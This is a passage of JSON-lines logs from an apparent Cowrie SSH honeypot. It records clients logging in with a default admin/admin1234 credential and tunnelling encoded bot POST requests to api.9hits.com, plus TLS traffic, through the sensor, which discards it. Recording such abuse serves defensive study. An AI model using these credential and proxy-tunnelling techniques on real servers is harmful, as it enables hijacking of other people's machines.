hU3c3U8K7B%2FPEQsn8NNnedgMpcRNQKfTVqJN9LURpTiODysVeOF0%2FXhSQmuQGrIqsFaSZm9La%2FyJSShr%2BwN6K7HO9dn9B7L2AW6ka0Wpv7Np5gtqrJ%2Fx5irNtYimEOo2nBY2jjVXv3lx7KTKVgAr0O2CTKnKSIMC1vN2FJj2xwY50peOxPn32bc8R%2F3D7LVsUwPxv2smZD1S%2B3lePIb715YtE7DVPn6gzUbFBwu0fPmX3hirRQbKi3QJFdfbJTa9dyPZE3Ney18S0vGCFD2Skj6fZ%2FzgjoRoSWr%2B%2F24agJXK3V5FcGhEIWH3LgfSYAnNGbFoqYAbZa1HxcTHkwiBdsQc77oMBRwkkMjhVi2PP3JnypI19zYUsrydtA8CHxtSigZaiJ%2FAfaYq7rQdW8td4%2Fx5It45BY8oiS9RU5B0mqP0E2K8755VNEhepsbSy%2FGfdFdVepR'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.88 Mobile/17B84 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QHQzXnM4SSlaKGdvQVhnSA%3D%3DPSeIB5g1m7hmCfuiTb5prvHh3%2F4GF8srXdUJ5cO3fITN70vqkeYmpEipFGb3f9%2BZogNnQw26XvWUlEV6oSg%2Bu8meHTuVKw2KVXHT8Y4lkS3oapAJiZRfk1SHIKE1SCkHKwpvQr5uhsbd0qlEkNoZ%2FMHBqkczNpiSnwbep6iKx8Z47oLq%2FAw7YrB8KAA2%2FeSD4arSTjt1gmAzOM9lyQDy6sEWzrFpCRtUERBd9S4ER5eOekV1%2BNj9iyrrnbchSdciXFEE3zbuLpiWhpOq5fm7SvZIWtgIhTEYMyphUz62X5FFtPYRhJwozCTnl1q6caLjm8ZxnpvLzRvL5g4XGYqmwIvfcHJlmrlVvC59uqs%2FytbIp7HLOi5AtNeHw0WsdwY90VMrt%2BrYA%2B6XiXFhV23uifye1SDmps5xy3Vfpp%2FBDZFW6%2F96tBh93eaQhTxX7S9Gq591kSfj8kiHzLIQDeDtxLc9mv4ArhfADz9i6TbXXVAWtj8GabXtfmIvdSg5ss%2FVafcxlHwDTXuFLfp7xUHlVHceW7YF4AveGRlv2Qj48srwH5AApygro52oa5Nmzn6xlu7FVBQAGkOW6CE17oFbeKWqqUJ5%2BzH89PwWdCl7wgk7A7wl%2BJ6emzZ9jhU3c3U8K7B%2FPEQsn8NNnedgMpcRNQKfTVqJN9LURpTiODysVeOF0%2FXhSQmuQGrIqsFaSZm9La%2FyJSShr%2BwN6K7HO9dn9B7L2AW6ka0Wpv7Np5gtqrJ%2Fx5irNtYimEOo2nBY2jjVXv3lx7KTKVgAr0O2CTKnKSIMC1vN2FJj2xwY50peOxPn32bc8R%2F3D7LVsUwPxv2smZD1S%2B3lePIb715YtE7DVPn6gzUbFBwu0fPmX3hirRQbKi3QJFdfbJTa9dyPZE3Ney18S0vGCFD2Skj6fZ%2FzgjoRoSWr%2B%2F24agJXK3V5FcGhEIWH3LgfSYAnNGbFoqYAbZa1HxcTHkwiBdsQc77oMBRwkkMjhVi2PP3JnypI19zYUsrydtA8CHxtSigZaiJ%2FAfaYq7rQdW8td4%2Fx5It45BY8oiS9RU5B0mqP0E2K8755VNEhepsbSy%2FGfdFdVepR'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:44.647280Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:44.981806Z","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:45.039549Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+n\\xe9$\\xf5\\x87\\t\\xf5\\xffQ\\x83\"j\\x13\\x0bd\\xe1-\\xf9Eb\\x01\\x83\\xa6\\r\\xae\\x90\\x16\\x18\\x88\\xa4\\xe9 \\x0b\\xda\\x1f\\\\Q\\xd7\\xd9\\xb5\\xef=\\x1d\\xbc\\xb2. \\x83W\\xd8\\xbf\\xd6V^E\\x0e\\xaa\\x9eD}R^?\\xa0\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\xce\"\\x05\\xeb\\xa5-\\xb3=#\\xadez\\x9br5\\x86\\x9e75\\t\\xb4\\xbd\\x12L\\x9c\\xa0\\\\\\xc4\\xf3\\xf4@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+n\\xe9$\\xf5\\x87\\t\\xf5\\xffQ\\x83\"j\\x13\\x0bd\\xe1-\\xf9Eb\\x01\\x83\\xa6\\r\\xae\\x90\\x16\\x18\\x88\\xa4\\xe9 \\x0b\\xda\\x1f\\\\Q\\xd7\\xd9\\xb5\\xef=\\x1d\\xbc\\xb2. \\x83W\\xd8\\xbf\\xd6V^E\\x0e\\xaa\\x9eD}R^?\\xa0\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\xce\"\\x05\\xeb\\xa5-\\xb3=#\\xadez\\x9br5\\x86\\x9e75\\t\\xb4\\xbd\\x12L\\x9c\\xa0\\\\\\xc4\\xf3\\xf4@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:45.042651Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:45.178826Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:45.322128Z","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:45.460823Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03-\\xbax8\\x00\\xe9\\x98\\x9a\\x91\\xe8%_\\xf4\\x18\\x99,\\x86\\xe37o\\x9c \\x81*D\\xfc\\xee\\xf0\\xf2\\x81\\nH 2T[\\x88\\xe7u\\xa9\\xcbL\\x0b\\x82\\x03\\x04\\xa7u\\xbcQJ\\x04=q\\x9e\\xe3\\xba\\x91W\\xb9\\x87\\xd2J\\t\\xaa\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 BA\\xe2\\xdc\\xf9$g\\x05\\x96\\xa7\\x8aE\\x946W9\\xd3/a\\x0f\\xa20\\xc4\\x8aj;\\xe4w\\xa0S\\x13\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03-\\xbax8\\x00\\xe9\\x98\\x9a\\x91\\xe8%_\\xf4\\x18\\x99,\\x86\\xe37o\\x9c \\x81*D\\xfc\\xee\\xf0\\xf2\\x81\\nH 2T[\\x88\\xe7u\\xa9\\xcbL\\x0b\\x82\\x03\\x04\\xa7u\\xbcQJ\\x04=q\\x9e\\xe3\\xba\\x91W\\xb9\\x87\\xd2J\\t\\xaa\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 BA\\xe2\\xdc\\xf9$g\\x05\\x96\\xa7\\x8aE\\x946W9\\xd3/a\\x0f\\xa20\\xc4\\x8aj;\\xe4w\\xa0S\\x13\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:45.464195Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":54218,"dst_ip":"10.17.0.5","dst_port":22,"session":"0becc38520ca","protocol":"ssh","message":"New connection: 113.164.152.20:54218 (10.17.0.5:22) [session: 0becc38520ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:53.629433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:53.633624Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:53.922127Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:55.148628Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:55.619070Z","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:55.724711Z","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:55.896738Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=OGNhJXptTCsoTTcrP0s%2BdQ%3D%3DWhBPC%2F1oabVjwgG90vMtZbjRK18JdMvsWUWdTG4%2BOSYcU7mnCxlQajF%2BaENLe%2B%2ByLNq0i8UYFJgRWsRYHMl0T%2BmDKhy9Ub52ccAAAWVCgQ8k7%2Fis2Ag0D70MwD%2Bgk3T%2Fh1X7eeU75TZEkrtj3jNW%2Bsf2HAYUfTG4VmIvUTgppt07TaKgITAx%2F%2FRLzfFCR5zHBltWXbrJ0cHr1o%2Fc9E9RRoxGuOpe3O502%2BTfThogTj5BvqdWTxS28eHUWtvZ6ltvTVlILFtwds3QMN0Z9aOrpjibRxftWXJICDsuLfqT38RB56xk0FqFPrAn3eNUNkwFMSJUux32Oext%2BKsHFeEeePEDzbGhY%2FOgp1Bm0QzoUXT15T3Ymz2E5xuJjCcmYzB8fPz48tjNdtJMMaeX39HyI2%2FJV7rplvQKPhx9NBpwqVP2ZSlraNTA5zOLQtnAzG6DJB0WJQoQu5Q8lT0dB66JXfkIfEeIz16rS9v1jx2uLYif59IeByBZxLEqcbp3dbnevHbxQhkwmB%2FGcSQPwujLpwGzx1I5OopFMjhfBuQG%2BzFZP6iV0VR%2BqJkYqSa%2FfiXaZeH47QsOBhJtp7t0c1baG1yEd6G%2FhMhD01fNMbVyzMGGTCuyhvsXlC6tjx%2FeB1TyWC8Qnh66qRXfVTGQzGjxNoXaO6EbIMqgXuqVQ%2BwCT2pn6xLWhhYWaCIE8mGstAwmRQ58f6q4VeZbKVdANK7f9uf71cWSH5BKYZbL2V6kDACW8KNp17t3P79jHhQie2NXV0KFVc4KbjU4AcXHN4gwEZAzTzMw60LGQoLmf0gmsTFSfpTBM%2BgqvOqdQwMWAhPDdtwnaYrWo4HXxYc%2F47S1XsaqW0%2BqQtwTjkj7QAs2cWtIHjXJjLtus%2F5ZKH9eloyNrEo%2BeZE5FsRA%2FNAka2JZl%2FcFWOYvooscmzPskMplzATamiVzS9%2BXf9fveX%2BpK0kwDA%2BKkCO%2FdSzgg0MjRJEwTjkhbQZGFpHkAFAHmKN9hOz%2Bfn%2FmUVRdtunOVLsco53ZZ04fzf34DL32gBL9Y8gao6cHQy7ffvDifMQRxsmTR7c%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 